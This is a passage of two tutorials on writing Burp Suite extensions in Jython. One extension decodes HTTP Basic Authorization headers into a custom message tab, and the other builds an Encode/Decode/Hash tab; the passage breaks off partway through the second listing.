  3132.  
  3133.  
  3134.  
  3135. - Initial setup
  3136.  
  3137.    Create a directory to store your extensions – I named mine burp-extensions
  3138.    Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder
  3139.    Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier
  3140.    Configure Burp to use Jython – Extender > Options > Python Environment > Select file…
  3141.  
  3142. The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly.
  3143.  
  3144. Hook into the Burp Extender API to access all of the base classes and useful methods
  3145.  
  3146. -------------------------------------------------------------------------------------------------------------------------------------------
  3147. class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
  3148.    ''' Implements IBurpExtender for hook into burp and inherit base classes.
  3149.      Implement IMessageEditorTabFactory to access createNewInstance.
  3150.     '''
  3151.    def registerExtenderCallbacks(self, callbacks):
  3152.  
  3153.        # required for debugger: https://github.com/securityMB/burp-exceptions
  3154.        sys.stdout = callbacks.getStdout()
  3155.  
  3156.        # keep a reference to our callbacks object
  3157.        self._callbacks = callbacks
  3158.  
  3159.        # obtain an extension helpers object
  3160.        # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
  3161.        self._helpers = callbacks.getHelpers()
  3162.  
  3163.        # set our extension name
  3164.        callbacks.setExtensionName("Decode Basic Auth")
  3165.  
  3166.        # register ourselves as a message editor tab factory
  3167.        callbacks.registerMessageEditorTabFactory(self)
  3168.  
  3169.        return
  3170.      
  3171.    def createNewInstance(self, controller, editable):
  3172.        ''' Allows us to create a tab in the http tabs. Returns
  3173.         an instance of a class that implements the iMessageEditorTab class
  3174.         '''
  3175.        return DisplayValues(self, controller, editable)
  3176. -----------------------------------------------------------------------------------------------------------------------------------------------------
  3177.  
  3178. This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only.
  3179.  
  3180. Now we can save the file, and load the extension into Burp, which will cause an error.
  3181.  
  3182. Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file…
  3183.  
  3184.  
  3185. Click Next, and it should produce an ugly error.
  3186.  
  3187.  
  3188. - Implement nicer looking error messages
  3189.  
  3190. To make the error messages readable, add the following to the code:
  3191.  
  3192. In the registerExtenderCallbacks method:
  3193.  
  3194. -----------------------------------------------------------------------------------------
  3195.    def registerExtenderCallbacks(self, callbacks):
  3196.  
  3197.        # required for debugger: https://github.com/securityMB/burp-exceptions
  3198.        sys.stdout = callbacks.getStdout()
  3199. -----------------------------------------------------------------------------------------
  3200.  
  3201. and at the end of the script:
  3202.  
  3203. -----------------------------------------------------------------------------------------
  3204.    def createNewInstance(self, controller, editable):
  3205.        ''' Allows us to create a tab in the http tabs. Returns
  3206.         an instance of a class that implements the iMessageEditorTab class
  3207.         '''
  3208.        return DisplayValues(self, controller, editable)
  3209.  
  3210. FixBurpExceptions()
  3211. -----------------------------------------------------------------------------------------
  3212.  
  3213. Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it.
  3214.  
  3215.  
  3216. We'll get another error
  3217.  
  3218. The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this:
  3219.  
  3220. ----------------------------------------------------------------------------------------------------------------------------------------------------
  3221.  
  3222. # Decode the value of Authorization: Basic header
  3223. # Author: Jake Miller (@LaconicWolf)
  3224.  
  3225. from burp import IBurpExtender               # Required for all extensions
  3226. from burp import IMessageEditorTab           # Used to create custom tabs within the Burp HTTP message editors
  3227. from burp import IMessageEditorTabFactory    # Provides rendering or editing of HTTP messages, within within the created tab
  3228. import base64                                # Required to decode Base64 encoded header value
  3229. from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
  3230. import sys                                   # Used to write exceptions for exceptions_fix.py debugging
  3231.  
  3232.  
  3233. class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
  3234.    ''' Implements IBurpExtender for hook into burp and inherit base classes.
  3235.      Implement IMessageEditorTabFactory to access createNewInstance.
  3236.     '''
  3237.    def registerExtenderCallbacks(self, callbacks):
  3238.  
  3239.        # required for debugger: https://github.com/securityMB/burp-exceptions
  3240.        sys.stdout = callbacks.getStdout()
  3241.  
  3242.        # keep a reference to our callbacks object
  3243.        self._callbacks = callbacks
  3244.  
  3245.        # obtain an extension helpers object
  3246.        # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
  3247.        self._helpers = callbacks.getHelpers()
  3248.  
  3249.        # set our extension name
  3250.        callbacks.setExtensionName("Decode Basic Auth")
  3251.  
  3252.        # register ourselves as a message editor tab factory
  3253.        callbacks.registerMessageEditorTabFactory(self)
  3254.  
  3255.        return
  3256.      
  3257.    def createNewInstance(self, controller, editable):
  3258.        ''' Allows us to create a tab in the http tabs. Returns
  3259.         an instance of a class that implements the iMessageEditorTab class
  3260.         '''
  3261.        return DisplayValues(self, controller, editable)
  3262.  
  3263. FixBurpExceptions()
  3264. ---------------------------------------------------------------------------------------------------------------------------------------------------------------
  3265.  
  3266. - Create a message tab and access the HTTP headers
  3267.  
  3268. The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers:
  3269.  
  3270. ---------------------------------------------------------------------------------------------------------------------------------------------------------------
  3271. class DisplayValues(IMessageEditorTab):
  3272.    ''' Creates a message tab, and controls the logic of which portion
  3273.     of the HTTP message is processed.
  3274.     '''
  3275.    def __init__(self, extender, controller, editable):
  3276.        ''' Extender is a instance of IBurpExtender class.
  3277.         Controller is a instance of the IMessageController class.
  3278.         Editable is boolean value which determines if the text editor is editable.
  3279.         '''
  3280.        self._txtInput = extender._callbacks.createTextEditor()
  3281.        self._extender = extender
  3282.  
  3283.    def getUiComponent(self):
  3284.        ''' Must be invoked before the editor displays the new HTTP message,
  3285.         so that the custom tab can indicate whether it should be enabled for
  3286.         that message.
  3287.         '''
  3288.        return self._txtInput.getComponent()
  3289.  
  3290.    def getTabCaption(self):
  3291.        ''' Returns the name of the custom tab
  3292.         '''
  3293.        return "Decoded Authorization Header"
  3294.      
  3295.    def isEnabled(self, content, isRequest):
  3296.        ''' Determines whether a tab shows up on an HTTP message
  3297.         '''
  3298.        if isRequest == True:
  3299.            requestInfo = self._extender._helpers.analyzeRequest(content)
  3300.            headers = requestInfo.getHeaders();
  3301.            headers = [header for header in headers]
  3302.            self._headers = '\n'.join(headers)
  3303.        return isRequest and self._headers
  3304.      
  3305.    def setMessage(self, content, isRequest):
  3306.        ''' Shows the message in the tab if not none
  3307.         '''
  3308.        if (content is None):
  3309.            self._txtInput.setText(None)
  3310.            self._txtInput.setEditable(False)
  3311.        else:
  3312.            self._txtInput.setText(self._headers)
  3313.        return
  3314. --------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3315. If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API.
  3316.  
  3317. The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make.
  3318.  
  3319. Process the headers and populate the message tab
  3320.  
  3321. Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods.
  3322.  
  3323. --------------------------------------------------------------------------------------------------------------------------------------
  3324. isEnabled:
  3325.  
  3326.  
  3327.    def isEnabled(self, content, isRequest):
  3328.        ''' Determines whether a tab shows up on an HTTP message
  3329.         '''
  3330.        if isRequest == True:
  3331.            requestInfo = self._extender._helpers.analyzeRequest(content)
  3332.            headers = requestInfo.getHeaders();
  3333.            authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
  3334.            if authorizationHeader:
  3335.                encHeaderValue = authorizationHeader[0].split()[-1]
  3336.                try:
  3337.                    self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
  3338.                except Exception as e:
  3339.                    print e
  3340.                    self._decodedAuthorizationHeader = ""
  3341.            else:
  3342.                 self._decodedAuthorizationHeader = ""
  3343.        return isRequest and self._decodedAuthorizationHeader
  3344.  
  3345. ----------------------------------------------------------------------------------------------------------------------------------------
  3346. The changes we are making looks for the header and decodes it. Otherwise it returns an empty string.
  3347.  
  3348. ----------------------------------------------------------------------------------------------------------------------------------------
  3349. setMessage:
  3350.  
  3351.  
  3352.    def setMessage(self, content, isRequest):
  3353.        ''' Shows the message in the tab if not none
  3354.         '''
  3355.        if (content is None):
  3356.            self._txtInput.setText(None)
  3357.            self._txtInput.setEditable(False)
  3358.        else:
  3359.            self._txtInput.setText(self._decodedAuthorizationHeader)
  3360.        return
  3361. -----------------------------------------------------------------------------------------------------------------------------------------
  3362.  
  3363. The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)).
  3364.  
  3365. - Test run
  3366.  
  3367. Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials:
  3368.  
  3369. ----------------
  3370. user: test
  3371. pass: test
  3372. ----------------
  3373.  
  3374. and in Burp request you will see under decoded authorization header  test:test
  3375.  
  3376. Conclusion
  3377.  
  3378. Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab.
  3379.  
  3380. Full script:
  3381. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3382.  
  3383. # Decode the value of Authorization: Basic header
  3384. # Author: Jake Miller (@LaconicWolf)
  3385.  
  3386. from burp import IBurpExtender               # Required for all extensions
  3387. from burp import IMessageEditorTab           # Used to create custom tabs within the Burp HTTP message editors
  3388. from burp import IMessageEditorTabFactory    # Provides rendering or editing of HTTP messages, within within the created tab
  3389. import base64                                # Required to decode Base64 encoded header value
  3390. from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
  3391. import sys                                   # Used to write exceptions for exceptions_fix.py debugging
  3392.  
  3393.  
  3394. class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
  3395.    ''' Implements IBurpExtender for hook into burp and inherit base classes.
  3396.      Implement IMessageEditorTabFactory to access createNewInstance.
  3397.     '''
  3398.    def registerExtenderCallbacks(self, callbacks):
  3399.  
  3400.        # required for debugger: https://github.com/securityMB/burp-exceptions
  3401.        sys.stdout = callbacks.getStdout()
  3402.  
  3403.        # keep a reference to our callbacks object
  3404.        self._callbacks = callbacks
  3405.  
  3406.        # obtain an extension helpers object
  3407.        # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
  3408.        self._helpers = callbacks.getHelpers()
  3409.  
  3410.        # set our extension name
  3411.        callbacks.setExtensionName("Decode Basic Auth")
  3412.  
  3413.        # register ourselves as a message editor tab factory
  3414.        callbacks.registerMessageEditorTabFactory(self)
  3415.  
  3416.        return
  3417.      
  3418.    def createNewInstance(self, controller, editable):
  3419.        ''' Allows us to create a tab in the http tabs. Returns
  3420.         an instance of a class that implements the iMessageEditorTab class
  3421.         '''
  3422.        return DisplayValues(self, controller, editable)
  3423.  
  3424. FixBurpExceptions()
  3425.  
  3426.  
  3427. class DisplayValues(IMessageEditorTab):
  3428.    ''' Creates a message tab, and controls the logic of which portion
  3429.     of the HTTP message is processed.
  3430.     '''
  3431.    def __init__(self, extender, controller, editable):
  3432.        ''' Extender is a instance of IBurpExtender class.
  3433.         Controller is a instance of the IMessageController class.
  3434.         Editable is boolean value which determines if the text editor is editable.
  3435.         '''
  3436.        self._txtInput = extender._callbacks.createTextEditor()
  3437.        self._extender = extender
  3438.  
  3439.    def getUiComponent(self):
  3440.        ''' Must be invoked before the editor displays the new HTTP message,
  3441.         so that the custom tab can indicate whether it should be enabled for
  3442.         that message.
  3443.         '''
  3444.        return self._txtInput.getComponent()
  3445.  
  3446.    def getTabCaption(self):
  3447.        ''' Returns the name of the custom tab
  3448.         '''
  3449.        return "Decoded Authorization Header"
  3450.      
  3451.    def isEnabled(self, content, isRequest):
  3452.        ''' Determines whether a tab shows up on an HTTP message
  3453.         '''
  3454.        if isRequest == True:
  3455.            requestInfo = self._extender._helpers.analyzeRequest(content)
  3456.            headers = requestInfo.getHeaders();
  3457.            authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
  3458.            if authorizationHeader:
  3459.                encHeaderValue = authorizationHeader[0].split()[-1]
  3460.                try:
  3461.                    self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
  3462.                except Exception as e:
  3463.                    print e
  3464.                    self._decodedAuthorizationHeader = ""
  3465.            else:
  3466.                 self._decodedAuthorizationHeader = ""
  3467.        return isRequest and self._decodedAuthorizationHeader
  3468.      
  3469.    def setMessage(self, content, isRequest):
  3470.        ''' Shows the message in the tab if not none
  3471.         '''
  3472.        if (content is None):
  3473.            self._txtInput.setText(None)
  3474.            self._txtInput.setEditable(False)
  3475.        else:
  3476.            self._txtInput.setText(self._decodedAuthorizationHeader)
  3477.        return
  3478. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3479.  
  3480.  
  3481. #######################################################
  3482. # Burp Extension Python Tutorial – Encode/Decode/Hash #
  3483. #######################################################
  3484.  
  3485.  
  3486. Setup
  3487.  
  3488.    Create a folder where you’ll store your extensions – I named mine extensions
  3489.    Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
  3490.    Download exceptions_fix.py *https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
  3491.    Configure Burp to use Jython – Extender > Options > Python Environment > Select file
  3492.    Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder)
  3493.  
  3494.  
  3495. - Importing required modules and accessing the Extender API, and implementing the debugger
  3496.  
  3497. Let’s write some code:
  3498.  
  3499. --------------------------------------------------------
  3500. from burp import IBurpExtender, ITab
  3501. from javax import swing
  3502. from java.awt import BorderLayout
  3503. import sys
  3504. try:
  3505.    from exceptions_fix import FixBurpExceptions
  3506. except ImportError:
  3507.    pass
  3508. --------------------------------------------------------
  3509.  
  3510.  
  3511. The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now.
  3512.  
  3513. This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports:
  3514.  
  3515. -----------------------------------------------------------------------------------------------------------------
  3516. class BurpExtender(IBurpExtender, ITab):
  3517.    def registerExtenderCallbacks(self, callbacks):
  3518.      
  3519.        # Required for easier debugging:
  3520.        # https://github.com/securityMB/burp-exceptions
  3521.        sys.stdout = callbacks.getStdout()
  3522.  
  3523.        # Keep a reference to our callbacks object
  3524.        self.callbacks = callbacks
  3525.  
  3526.        # Set our extension name
  3527.        self.callbacks.setExtensionName("Encode/Decode/Hash")
  3528.      
  3529.        # Create the tab
  3530.        self.tab = swing.JPanel(BorderLayout())
  3531.  
  3532.        # Add the custom tab to Burp's UI
  3533.        callbacks.addSuiteTab(self)
  3534.        return
  3535.  
  3536.    # Implement ITab
  3537.    def getTabCaption(self):
  3538.        """Return the text to be displayed on the tab"""
  3539.        return "Encode/Decode/Hash"
  3540.  
  3541.    def getUiComponent(self):
  3542.        """Passes the UI to burp"""
  3543.        return self.tab
  3544.  
  3545. try:
  3546.    FixBurpExceptions()
  3547. except:
  3548.    pass
  3549. ------------------------------------------------------------------------------------------------
  3550.  
  3551. This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error.
  3552.  
  3553.  
  3554. Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py
  3555.  
  3556. The extension should load and you should have a new tab: Encode/Decode/Hash
  3557.  
  3558. This tab doesn’t have any features yet, so let’s build the skeleton of the UI
  3559.  
  3560.  
  3561. Onto the code:
  3562.  
  3563. ----------------------------------------------------------------------------------------------
  3564. class BurpExtender(IBurpExtender, ITab):
  3565.    ...
  3566.        self.tab = swing.Jpanel(BorderLayout())
  3567.  
  3568.        # Create the text area at the top of the tab
  3569.        textPanel = swing.JPanel()
  3570.      
  3571.        # Create the label for the text area
  3572.        boxVertical = swing.Box.createVerticalBox()
  3573.        boxHorizontal = swing.Box.createHorizontalBox()
  3574.        textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
  3575.        boxHorizontal.add(textLabel)
  3576.        boxVertical.add(boxHorizontal)
  3577.  
  3578.        # Create the text area itself
  3579.        boxHorizontal = swing.Box.createHorizontalBox()
  3580.        self.textArea = swing.JTextArea('', 6, 100)
  3581.        self.textArea.setLineWrap(True)
  3582.        boxHorizontal.add(self.textArea)
  3583.        boxVertical.add(boxHorizontal)
  3584.  
  3585.        # Add the text label and area to the text panel
  3586.        textPanel.add(boxVertical)
  3587.  
  3588.        # Add the text panel to the top of the main tab
  3589.        self.tab.add(textPanel, BorderLayout.NORTH)
  3590.  
  3591.        # Add the custom tab to Burp's UI
  3592.        callbacks.addSuiteTab(self)
  3593.        return
  3594. ...
  3595. -----------------------------------------------------------------------------------------
  3596.  
  3597. A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: "Text to be encoded/decoded/hashed" field
  3598.  
  3599.  
  3600. Now we’ll add the tabs:
  3601.  
  3602. -----------------------------------------------------------------------------------------
  3603.        self.tab.add(textPanel, BorderLayout.NORTH)
  3604.  
  3605.        # Created a tabbed pane to go in the center of the
  3606.        # main tab, below the text area
  3607.        tabbedPane = swing.JTabbedPane()
  3608.        self.tab.add("Center", tabbedPane);
  3609.  
  3610.        # First tab
  3611.        firstTab = swing.JPanel()
  3612.        firstTab.layout = BorderLayout()
  3613.        tabbedPane.addTab("Encode", firstTab)
  3614.  
  3615.        # Second tab
  3616.        secondTab = swing.JPanel()
  3617.        secondTab.layout = BorderLayout()
  3618.        tabbedPane.addTab("Decode", secondTab)
  3619.  
  3620.        # Third tab
  3621.        thirdTab = swing.JPanel()
  3622.        thirdTab.layout = BorderLayout()
  3623.        tabbedPane.addTab("Hash", thirdTab)
  3624.  
  3625.        # Add the custom tab to Burp's UI
  3626.        callbacks.addSuiteTab(self)
  3627.        return
  3628. ...
  3629. --------------------------------------------------------------------------------------------------
  3630. After you add this code and save the file, you should have your tabs
  3631.  
  3632.  
  3633. we’re only going to build out the Encode tab, but the steps will be the same for each tab.
  3634.  
  3635. ---------------------------------------------------------------------------------------------------
  3636.  
  3637.        # First tab
  3638.        firstTab = swing.JPanel()
  3639.        firstTab.layout = BorderLayout()
  3640.        tabbedPane.addTab("Encode", firstTab)
  3641.  
  3642.        # Button for first tab
  3643.        buttonPanel = swing.JPanel()
  3644.        buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
  3645.        firstTab.add(buttonPanel, "North")
  3646.  
  3647.        # Panel for the encoders. Each label and text field
  3648.        # will go in horizontal boxes which will then go in
  3649.        # a vertical box
  3650.        encPanel = swing.JPanel()
  3651.        boxVertical = swing.Box.createVerticalBox()
  3652.      
  3653.        boxHorizontal = swing.Box.createHorizontalBox()
  3654.        self.b64EncField = swing.JTextField('', 75)
  3655.        boxHorizontal.add(swing.JLabel("  Base64   :"))
  3656.        boxHorizontal.add(self.b64EncField)
  3657.        boxVertical.add(boxHorizontal)
  3658.  
  3659.        boxHorizontal = swing.Box.createHorizontalBox()
  3660.        self.urlEncField = swing.JTextField('', 75)
  3661.        boxHorizontal.add(swing.JLabel("  URL         :"))
  3662.        boxHorizontal.add(self.urlEncField)
  3663.        boxVertical.add(boxHorizontal)
  3664.  
  3665.        boxHorizontal = swing.Box.createHorizontalBox()
  3666.        self.asciiHexEncField = swing.JTextField('', 75)
  3667.        boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
  3668.        boxHorizontal.add(self.asciiHexEncField)
  3669.        boxVertical.add(boxHorizontal)
  3670.  
  3671.        boxHorizontal = swing.Box.createHorizontalBox()
  3672.        self.htmlEncField = swing.JTextField('', 75)
  3673.        boxHorizontal.add(swing.JLabel("  HTML       :"))
  3674.        boxHorizontal.add(self.htmlEncField)
  3675.        boxVertical.add(boxHorizontal)
  3676.  
  3677.        boxHorizontal = swing.Box.createHorizontalBox()
  3678.        self.jsEncField = swing.JTextField('', 75)
  3679.        boxHorizontal.add(swing.JLabel("  JavaScript:"))
  3680.        boxHorizontal.add(self.jsEncField)
  3681.        boxVertical.add(boxHorizontal)
  3682.  
  3683.        # Add the vertical box to the Encode tab
  3684.        firstTab.add(boxVertical, "Center")
  3685.  
  3686.        # Second tab
  3687.        ...
  3688.  
  3689.        # Third tab
  3690.        ...
  3691.  
  3692.        # Add the custom tab to Burp's UI
  3693.        callbacks.addSuiteTab(self)
  3694.        return
  3695.  
  3696.    # Implement the functions from the button clicks
  3697.    def encode(self, event):
  3698.        pass
  3699.  
  3700.    # Implement ITab
  3701.    def getTabCaption(self):
  3702.  
  3703. -----------------------------------------------------------------------------------------
  3704.  
  3705. First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, you shoud see big box added to the tab.
  3706.  
  3707.  
  3708. The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input:
  3709.  
  3710. ---------------------------------------------------------------------------------------------------------
  3711. try:
  3712.    from exceptions_fix import FixBurpExceptions
  3713. except ImportError:
  3714.    pass
  3715. import base64
  3716. import urllib
  3717. import binascii
  3718. import cgi
  3719. import json
  3720. ...
  3721.  
  3722.        # Add the custom tab to Burp's UI
  3723.        callbacks.addSuiteTab(self)
  3724.        return
  3725.  
  3726.    # Implement the functions from the button clicks
  3727.    def encode(self, event):
  3728.        """Encodes the user input and writes the encoded
  3729.        value to text fields.
  3730.        """
  3731.        self.b64EncField.text = base64.b64encode(self.textArea.text)
  3732.        self.urlEncField.text = urllib.quote(self.textArea.text)
  3733.        self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
  3734.        self.htmlEncField.text = cgi.escape(self.textArea.text)
  3735.        self.jsEncField.text = json.dumps(self.textArea.text)
  3736.  
  3737.    # Implement ITab
  3738.    def getTabCaption(self):
  3739.  
  3740. ----------------------------------------------------------------------------------------------------------
  3741.  
  3742. The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality.
  3743.  
  3744. Full code:
  3745.  
  3746. ----------------------------------------------------------------------------------------------------------
  3747.  
  3748. __author__ = 'Jake Miller (@LaconicWolf)'
  3749. __date__ = '20190206'
  3750. __version__ = '0.01'
  3751. __description__ = """Burp Extension that encodes, decodes,
  3752.                  and hashes user input. Inspired by a
  3753.                  similar tool in OWASP's ZAP.
  3754.                  """
  3755.  
  3756. from burp import IBurpExtender, ITab
  3757. from javax import swing
  3758. from java.awt import BorderLayout
  3759. import sys
  3760. import base64
  3761. import urllib
  3762. import binascii
  3763. import cgi
  3764. import json
  3765. import re
  3766. import hashlib
  3767. from HTMLParser import HTMLParser
  3768.  
  3769. try:
  3770.    from exceptions_fix import FixBurpExceptions
  3771. except ImportError:
  3772.    pass
  3773.  
  3774. class BurpExtender(IBurpExtender, ITab):
  3775.    def registerExtenderCallbacks(self, callbacks):
  3776.  
  3777.        # Required for easier debugging:
  3778.        # https://github.com/securityMB/burp-exceptions
  3779.        sys.stdout = callbacks.getStdout()
  3780.  
  3781.        # Keep a reference to our callbacks object
  3782.        self.callbacks = callbacks
  3783.  
  3784.        # Set our extension name
  3785.        self.callbacks.setExtensionName("Encode/Decode/Hash")
  3786.      
  3787.        # Create the tab
  3788.        self.tab = swing.JPanel(BorderLayout())
  3789.  
  3790.        # Create the text area at the top of the tab
  3791.        textPanel = swing.JPanel()
  3792.      
  3793.        # Create the label for the text area
  3794.        boxVertical = swing.Box.createVerticalBox()
  3795.        boxHorizontal = swing.Box.createHorizontalBox()
  3796.        textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
  3797.        boxHorizontal.add(textLabel)
  3798.        boxVertical.add(boxHorizontal)
  3799.  
  3800.        # Create the text area itself
  3801.        boxHorizontal = swing.Box.createHorizontalBox()
  3802.        self.textArea = swing.JTextArea('', 6, 100)
  3803.        self.textArea.setLineWrap(True)
  3804.        boxHorizontal.add(self.textArea)
  3805.        boxVertical.add(boxHorizontal)
  3806.  
  3807.        # Add the text label and area to the text panel
  3808.        textPanel.add(boxVertical)
  3809.  
  3810.        # Add the text panel to the top of the main tab
  3811.        self.tab.add(textPanel, BorderLayout.NORTH)
  3812.  
  3813.        # Created a tabbed pane to go in the center of the
  3814.        # main tab, below the text area
  3815.        tabbedPane = swing.JTabbedPane()
  3816.        self.tab.add("Center", tabbedPane);
  3817.  
  3818.        # First tab
  3819.        firstTab = swing.JPanel()
  3820.        firstTab.layout = BorderLayout()
  3821.        tabbedPane.addTab("Encode", firstTab)
  3822.  
  3823.        # Button for first tab
  3824.        buttonPanel = swing.JPanel()
  3825.        buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
  3826.        firstTab.add(buttonPanel, "North")
  3827.  
  3828.        # Panel for the encoders. Each label and text field
  3829.        # will go in horizontal boxes which will then go in
  3830.        # a vertical box
  3831.        encPanel = swing.JPanel()
  3832.        boxVertical = swing.Box.createVerticalBox()
  3833.      
  3834.        boxHorizontal = swing.Box.createHorizontalBox()
  3835.        self.b64EncField = swing.JTextField('', 75)
  3836.        boxHorizontal.add(swing.JLabel("  Base64   :"))
  3837.        boxHorizontal.add(self.b64EncField)
  3838.        boxVertical.add(boxHorizontal)
  3839.  
  3840.        boxHorizontal = swing.Box.createHorizontalBox()
  3841.        self.urlEncField = swing.JTextField('', 75)
  3842.        boxHorizontal.add(swing.JLabel("  URL         :"))
  3843.        boxHorizontal.add(self.urlEncField)
  3844.        boxVertical.add(boxHorizontal)
  3845.  
  3846.        boxHorizontal = swing.Box.createHorizontalBox()
  3847.        self.asciiHexEncField = swing.JTextField('', 75)
  3848.        boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
  3849.        boxHorizontal.add(self.asciiHexEncField)
  3850.        boxVertical.add(boxHorizontal)
  3851.  
  3852.        boxHorizontal = swing.Box.createHorizontalBox()
  3853.        self.htmlEncField = swing.JTextField('', 75)
  3854.        boxHorizontal.add(swing.JLabel("  HTML       :"))
  3855.        boxHorizontal.add(self.htmlEncField)
  3856.        boxVertical.add(boxHorizontal)
  3857.  
  3858.        boxHorizontal = swing.Box.createHorizontalBox()
  3859.        self.jsEncField = swing.JTextField('', 75)
  3860.        boxHorizontal.add(swing.JLabel("  JavaScript:"))
  3861.        boxHorizontal.add(self.jsEncField)
  3862.        boxVertical.add(boxHorizontal)
  3863.  
  3864.        # Add the vertical box to the Encode tab
  3865.        firstTab.add(boxVertical, "Center")
  3866.  
  3867.        # Repeat the same process for the remaining tabs
  3868.        secondTab = swing.JPanel()
  3869.        secondTab.layout = BorderLayout()
  3870.        tabbedPane.addTab("Decode", secondTab)
  3871.  
  3872.        buttonPanel = swing.JPanel()
  3873.        buttonPanel.add(swing.JButton('Decode', actionPerformed=self.decode))
  3874.        secondTab.add(buttonPanel, "North")
  3875.  
  3876.        decPanel = swing.JPanel()
  3877.        boxVertical = swing.Box.createVerticalBox()
  3878.      
  3879.        boxHorizontal = swing.Box.createHorizontalBox()
  3880.        self.b64DecField = swing.JTextField('', 75)
  3881.        boxHorizontal.add(swing.JLabel("  Base64   :"))
  3882.        boxHorizontal.add(self.b64DecField)
  3883.        boxVertical.add(boxHorizontal)
